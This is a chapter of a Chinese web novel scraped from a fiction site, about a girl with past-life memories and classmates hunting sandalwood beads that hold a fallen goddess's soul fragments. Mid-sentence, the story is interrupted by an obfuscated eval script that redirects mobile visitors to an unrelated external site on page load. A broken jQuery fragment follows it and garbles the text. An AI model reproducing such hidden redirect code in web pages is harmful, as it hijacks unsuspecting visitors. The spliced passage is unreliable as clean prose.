文趣网 > 都市小说 > 巫山神女 > 14. 檀木
    还没等几人开口,躲在章涵苑身后的连筠明先是感动又激动地抓住了她的手。

    “姐啊,你可算是回来了,你都不知道我过的有多惨……”

    他这一句话倒是先转移了黎彩的怒火。

    “你个老东西还卖什么惨?天天哥啊姐啊的,再乱叫我打断你的腿!”

    章涵苑看着连筠明的脸,程初瑶的记忆说长不长,说短不短,对连筠明的印象并不深刻。

    也不知道程初瑶的记忆是在哪朝哪月,但怎么看都是古代,而连筠明的相貌倒是一点都没变过,甚至身高好像也没什么长进。

    目前看起来唯一的不同点就是剪了短发,再有就是换了一身衣裳。

    “连筠明……”

    “你到底活了多久?”

    这句话似乎严重攻击了连筠明的内心,他一脸痛苦地退到一边,委屈巴巴地说道:

    “你居然只关心这个吗?”

    “好吧,那程初瑶是什么时候的人?”

    连筠明听到这个名字后捏着手指算了算,似乎真的是几百年前的事一样。

    “是……唐朝的。”

    确实是个老东西,都是一千多年前的人了。章涵苑心中暗想。

    “姐你想起来了吗,程初瑶就是你啊。”

    章涵苑用一副看智障的眼神嫌弃地看了他一眼,年纪不小,智商也不高,也不知道是谁把他养成这样的,白洛歌还是珞璜璎?也不知道这两个不靠谱的家伙能活多久。

    “我和她现在除了脸还有哪里像?还有,我和你很熟吗?”

    章涵苑心生邪念,想要逗一逗他,有些好笑的说道。

    “啊……你不记得我了吗?”

    “我只记得,第一次去溧珞的时候有一个总是被人拉着合伙作案的胆小鬼。”

    章涵苑甩开了连筠明拉着她的手,自顾自地拉开了门,这才有些奇怪地回头看向剩下的四个人。

    “你们还在干嘛,不走吗?”

    兴许是终于发现了什么不对,她刚想迈出去,又停下脚步回过头。

    “话又说回来了,黎彩,你怎么浑身是血?”

    这两对兄妹脸色又立马黑了下去。

    章涵苑感到更加莫名奇妙了,她自知和这些人谈不上熟络,也搞不明白他们之间有什么过节。

    “哎哟我的好姐姐,你就别管他们了我们快走吧!”

    眼见着火药又要点燃,连筠明连忙推搡着章涵苑离开。

    章涵苑硬是被他推着下了楼,这人跟赶命一样只顾着往下跑,下了楼还心有余悸地往楼上看了看。

    “还好还好,他们没把这里给拆了。”

    “不是我说,你们刚才到底在干嘛?怎么一副要打仗的架势。”

    “额……也没什么,也就只是……林淮捅了黎彩一刀而已。”

    连筠明支支吾吾地说着,章涵苑听完倒是很无所谓。

    “这样啊,那就让他们打架去好了。”

    “话说怎么我看你还是一副蠢样,到底是谁把你养废了?说来听听,是白洛歌还是珞璜璎?”

    一提到这两个人,连筠明又变成了个哭包黏在章涵苑身上哭个不停。

    “姐啊——你是不知道我被他们两个踢出来之后过的有多惨……”

    章涵苑十分嫌弃这个傻子,一边想着要怎么哄人,一边嫌弃地想要推开他。

    “是看你实在够蠢,才会把你扫地出门的吧?”

    章涵苑心里突然想到自己和他很熟吗?为什么要说这些?但感觉更像是下意识的行为,自己不会真的就是程初瑶吧?

    好在记忆里自己顶着“章涵苑”的名字,已经修炼了十六年的无情道,若是要平静地接受这个事实好像也并不困难。

    “不是的,后来、后来的溧珞,就只剩下他们两个人了。那简直就是一场灾难,从那之后,同门的师兄都死了不少,活下来的人也被珞门主随便找了个理由打发走了。”

    “说起来,姐你还记得多少?”

    “……不多,我只记得在溧珞住的那几天,和巫奉打起来没多久,那段记忆就中断了。”

    章涵苑下意识地扯了扯掉下来的头发,手抬起来的一瞬间,连筠明又叫出了声。

    “这是……檀木手串?你还留着它?不对,你是从哪里找到的?”

    章涵苑有些惊愕地摸向了自己的手腕,左手的手腕上确实有着一串由檀木制成的木珠串连而成的手串。

    “这是……”

    当初梅兮颜送给程初瑶的手串,前不久凌玖期才在舞蹈室里找出来一颗,如今却忽然多出来一整串在手上,任谁看了都会觉得惊奇。

    “不对……按严昕华那副发狂的模样,檀木珠应当就剩下那一棵了呀。”

    章涵苑喃喃自语道。而一旁的连筠明还一副没见过的模样盯着它细细观看。

    “等会儿姐,这好像不是当年的那条,虽然是从珞门主后院挖的檀木,但好歹过了一千多两千年了,木纹怎么可能还这么新?”

    章涵苑见他脑子似乎终于开了点窍,就将手串摘下递给他。

    连筠明有模有样地观察了一阵。最后才捏着其中一颗珠子给章涵苑看。

    “这里面有十八颗檀木珠子,只有这一颗的色泽纹理和气味,与一千年前的那棵檀木树相似。”

    这一颗檀木珠子的色泽要暗淡了些,但显得更加深沉,凑近鼻尖,它的檀木香别具一格,清凉如风,与剩下的十七颗珠子不同,气味的浓烈程度上甚至还能盖过它们。章涵苑对着连筠明挑了挑眉,惊奇道:

    “你还能鉴宝啊?看不出来嘛!”

    那么应该也不会蠢到哪里去。

    连筠明神秘地“嘿嘿”笑了两声,有些得意地炫耀道:

    “那是,就连你刚才和凌玖期一言不发就跑到广播室,也是我算出来你的位置的,我可是立了大功的好吧!”

    “哦?怎么算的?”

    连筠明支支吾吾地说不清楚。

    “算了小子,我逗你玩的呢。”

    章涵苑学坏倒挺有一套,对着连筠明狡诈地笑笑。

    “额……其实吧,虽然你不记得了,但这个还是你教我的。”

    “我?我又不会我怎么教你?”

    “是是是,是我偷师的行了吧。”

    程初瑶的技艺传给了谁并不奇怪,章涵苑也没把他放在心上,何况连筠明看起来就像是个半吊子——非常靠不住的样子。

    “我可没有要和你叙旧的意思,没事的话就快滚吧。”

    章涵苑头也不回地往教学楼的方向走去,留下连筠明一人在风中凌乱。

    开学第一天还是要回去上课的,章涵苑心想,虽然不知道礼堂出了这么大事,学校会怎么收尾。

    回到教室坐下后,班上同学的反应却都出乎意料的正常,似乎刚才全然没有发生什么意外。

    章涵苑坐在自己的位置上,没有和他们交谈,只是在偷听其他人的话,得知开学典礼上一切正常,那刚才她所经历的又是什么?难道只是大梦一场吗?

    坐在她附近的林离桥和白杏沂也在窃窃私语,两个人凑在一起在说些什么,看起来有些防备被人偷听,声音都压得很低,但她们的对话在章涵苑耳边依旧清晰,就像那天在电话亭偷听连筠明打电话时一样。

    “那几个人又在搞什么鬼?礼堂都塌了一半了。”

    “谁知道呢?反正也不关我们事吧?现在其他人全都跟失忆了一样什么都不记得,还以为开学典礼正常的很呢!”

    “怎么不关你事了?本来还打算去套一下凌玖期的,你看你现在走两步都能平地摔摔死,简直就是倒霉熊转世!”

    “谁说不是呢?我上辈子估计也倒霉得很。”

    章涵苑再看看黎云和黎彩,黎彩不知道什么时候换了一身衣服,身上看不出一点血迹,也没有扎双马尾,只是侧扎了一个辫子,让它垂到胸口,趴在桌子上跟没事人一样和黎云打闹。

    所以这人到底是男的还是女的?章涵苑终于心生疑惑。

    上课铃声响起,教室里熙熙攘攘的人群才渐渐静下来。

    章涵苑看着教室门口几乎要踩着上课铃声最后一秒才进来的连筠明,他偷偷摸摸地绕过讲台上的老师,坐到章涵苑身边。

    她用胳膊肘撞了一下他,再把手收回来,一张纸条被推到连筠明的桌子上。

    “怎么回事?礼堂不是塌了吗,怎么一个个都跟没事人一样?”

    连筠明疑惑地环视了教室一圈,老师也在尽职尽业的讲课,只有黎彩一直在缠着黎云开小差,没有发现有什么不对劲。

    “我哪知道?你不应该去问问那两个最多事的吗?”

    他无辜地耸了耸肩,表示自己一无所知。

    “但是我刚刚蹲到他们走了之后再去了一次广播室,找到了这个。”

    连筠明鬼鬼祟祟地将一小包东西推过来,章涵苑打开一看,里面包着的是三颗檀木珠。

    一打开包装,里面的檀木香气就飘了出来,章涵苑心下一惊,赶紧将他们包回去,可惜为时已晚。前面的林离桥和白杏沂回过头来看了她一眼,章涵苑绷起脸看着黑板,假装无事发生,她们也只是奇怪的看了一眼就转过去了,幸好班里的其他正常人也没什么反应。

    章涵苑刚想松一口气,后脑勺就惨遭攻击——一个纸飞机直直地撞了上来。

    她忍着一肚子的火气回过头,发现黎彩正贱兮兮地玩弄着一架纸飞机,碰上她的目光时还无辜地眨了眨眼。

    章涵苑无奈地转回去将纸飞机给摊开。

    “什么好东西?也拿来给我看看呗。”

    不知道这人葫芦里卖的是什么药,章涵苑犹豫了一下,半信半疑地将檀木珠递了过去。

    正在她要把偷偷伸到后方的桌子底下的手给抽回来的时候,一根粉笔就擦着章涵苑的脸飞了过去,周围的同学纷纷转过头去看热闹,只见粉笔头正对着黎彩的额头飞过去,她两指轻轻一夹,粉笔头骤然停在她的额头两厘米前处。

    讲台上的老师似乎终于发了火,拿起座位表看了看。

    “原萧蓓!我在上面讲你也在下面讲是吧?我看你很久了,自己不听还要影响别人,站到后面去!”

    “还有你旁边这个原苼桐啊,怎么让你们两个坐一块了,整节课叽叽喳喳说个不停,回去我就告诉你们班主任把你们调开坐!”

    黎彩不以为然地撑着头看向讲台上的老师,挑衅意味十足。

    老师也感到自己像是被挑衅了,怒气冲冲地就要走下讲台。

    “在玩些什么东西呢?拿出来给大家都看看啊?最好给全班一人都买一个!”

    章涵苑连忙回头看向黎彩,她的桌子上正摆着那三颗檀木珠子,她赶紧朝着黎彩使了使眼色让她收起来。

    可惜老师已经大步流星地走了下来,一把抢过那几颗珠子。

    “上课还玩这种小东西,没收了。”

    老师将它们放进口袋里,从章涵苑身边走过,继续转头回到讲台讲课。

    黎彩到底还是没有站到后面去。

    连筠明目睹了这一切,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781323|210104||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    又气又急,恨不得就和黎彩打一架。

    “我好不容易找到的……”

    章涵苑不慌不忙地拍了拍他的后背以示安慰。

    “别哭,我都没急呢你急什么?”

    一直手插到两人中间,黎彩摊开手,三颗檀木珠子都整整齐齐地躺在她的手心,散发着独特的木香。

    “嚎什么呢?这么看不起你爹,觉得我会让手里的东西还给人抢走了不成?”

    “切,她只是趁老师走过去的时候偷偷从老师口袋里顺走了而已。”

    黎云在一边把书立起来挡住自己的脸,小声地拆散黎彩的舞台。

    “哥……你要不给我留点面子吧。”

    见到檀木珠子,连筠明惊喜地正要伸手去拿,黎彩却握紧拳头将手收了回去。

    “我才刚拿过来就被坏事了,还没看完呢!”

    老师又重重的拍了拍讲台,目光落到他们这一处。

    “都安静点,再说话的就请你们出去了啊。”

    黎彩难得的老实了一点,虽然眼神出卖了她。

    章涵苑见周围的几人终于肯消停了一阵子,打算认真听一下课。虽然不知道自己到底是谁,但好歹认真读了九年的书,肌肉记忆让她一到上课就坐好。

    围观章涵苑周围的人,可以说只有白杏沂还像一个正常人,只有她在老师布置题目时还在认真解题的,剩下的人不是在玩就是在睡觉。

    白杏沂的正常好像也有些反常,每回写题都只是写了两三分钟就早早停笔,做出一副这题实在简单的姿态。

    “一群装货……”

    章涵苑慢吞吞地写着解题步骤,一边暗戳戳地将每个人都骂了一遍。

    终于熬到了下课时间,章涵苑将手里的笔一扔,转身向黎彩伸出手。

    “看了一节课,该还我了。”

    黎彩却是出乎意料地老实,乖乖将三颗檀木珠子放到她的手心。

    “看出什么来了吗?”

    “也没什么,一颗珠子里就藏着一丝魂魄,你的魂魄被情感支配,分为‘喜、怒、哀、乐’四魂,但每一魂又被割裂为多少魄可就不好说了。”

    “要聚集魂魄,先要找齐了魄,才能有魂。刚才你吞下去的不是檀木珠子,而是里面的魄。我觉得吧,严昕华是代表‘喜’的魂,但是她将魄分为了十八份,分别藏在了十八颗檀木珠子里,又将珠子拆散藏在各种角落,如今你要找到所有的檀木珠子,才能聚成‘喜’这一魂。”

    “加上这三颗,你已经有了四魄。严昕华给我的感觉更像是地缚灵,据广播站的成员所说,似乎没有人在广播室以外的地方见过她,除了广播站的人也没人认识她。”

    “但是你的第一颗檀木是在舞蹈室发现的,藏在舞蹈室镜子背后的密室,里面还有梁子秋的东西,据凌玖期说的,应该是梁子秋把檀木珠藏到了那里,而且八成是被严昕华委托的。”

    章涵苑迅速在脑子里理清思路,梁子秋与严昕华,她们之间的交集已经无法查起。只是从她留下的日记来看,梁子秋自高一起就已经加入了广播站,那么她自然会与严昕华有交集,只是在发生意外前,梁子秋的生活一直平淡且美满,严昕华没有去找她的理由。

    前不久与严昕华对峙的时候,似乎能感受到她只是为了能让自己保持“喜”的情绪而不择手段,就算是制造学校的事故和意外,哄骗走入绝境的学生并谎称自己能给他们带来一丝希望……

    她不知道以这种方式骗了多少人,委托他们将自己的檀木珠藏去了各种地方,再告诉他们解脱的方法——自杀。不光是自尽,还是以极其诡异的方式逝去,就像某种仪式一样,等到他们被人发现的时候,慌乱的人群又能令她兴奋。

    原本为百姓祈求喜乐的神女,在魂魄消散后,却化成了从人身上取的喜乐的邪祟。

    黎彩明显也想到了这一点,嘲讽地笑了一下。

    “简直和恶灵一般,不愧是千年前的神明遗念,就算是陨落成邪祟,做起恶来也要比我们这种小鬼高一等。”

    连筠明罕见地给黎彩翻了一个白眼。

    “嘁,你以为你们是什么好人吗?要我说,你也不愧是紫徽养出来的。”

    “既然知道我们不是什么好人,那你还敢来投靠紫徽?”

    “我这叫投靠?我明明只是想……”

    “好了闭嘴吧你,现在的当务之急,是找出剩下的十四颗檀木珠。”

    章涵苑捏紧了手心的檀木珠子。

    “那我们该从哪里找起?”

    “肯定都还在这所学校,她就是要委托人藏起来,檀木珠到底也还是她的东西,是带不出去的。”

    “不如多关注一下学校可曾有过什么灵异案件,论坛里应当有不少信息。”

    “好,我回去会关注的。”

    黎彩见她一副正经严肃的模样,不禁觉得有些好笑,又用着半开玩笑的语气调侃道,试图让对方放松一下,却不料这么一说显得自己更加吊儿郎当既不正经又不靠谱了。

    “瞧您那副苦瓜脸,还担心找不着么?”

    “回头把那剩下三颗珠子也吞了,说不定就瞧见上回的续集了?”

    黎云终于看不下去她这副调戏小姑娘的模样,将她摁回座位上坐好,又转头向章涵苑提醒到。

    “可要先将檀木放到蜡烛里烧融化,再像我刚才那样倒置蜡烛,将烛火拍入掌心,再次得到的檀木就是炼制后的魄。”

    “一段记忆过后,檀木自会复原。你刚才走后是不是发现手上多了一条檀木手串?它就藏在里面。”